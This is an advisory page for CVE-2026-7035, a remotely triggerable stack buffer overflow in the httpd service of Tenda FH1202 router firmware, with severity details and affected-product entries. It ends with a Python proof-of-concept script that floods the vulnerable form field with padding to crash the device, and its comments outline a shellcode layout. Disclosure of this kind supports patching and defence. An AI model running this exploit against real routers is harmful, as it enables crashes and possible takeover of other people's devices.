Security Vulnerability Report
中文
CVE-2026-7035 CVSS 8.8 HIGH

CVE-2026-7035

Published: 2026-04-26 12:16:23
Last Modified: 2026-04-30 14:10:32

Description

A vulnerability was determined in Tenda FH1202 1.2.0.14. This affects the function fromWrlclientSet of the file /goform/WrlclientSet of the component httpd. Executing a manipulation of the argument Go can lead to stack-based buffer overflow. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:fh1202_firmware:1.2.0.14\(408\):*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:fh1202:-:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda FH1202 1.2.0.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit(target_ip): url = f"http://{target_ip}/goform/WrlclientSet" # Payload pattern: Padding + Return Address + NOP Sled + Shellcode # Note: Exact offset and return address need environment debugging payload = b"A" * 1000 data = { "Go": payload.decode('latin-1') } try: print(f"[+] Sending payload to {target_ip}...") response = requests.post(url, data=data, timeout=5) print(f"[+] Response status code: {response.status_code}") if response.status_code == 200: print("[+] Request sent successfully. Check device status for crash or shell.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with target IP exploit(target)

References

Raw JSON Data

JSON
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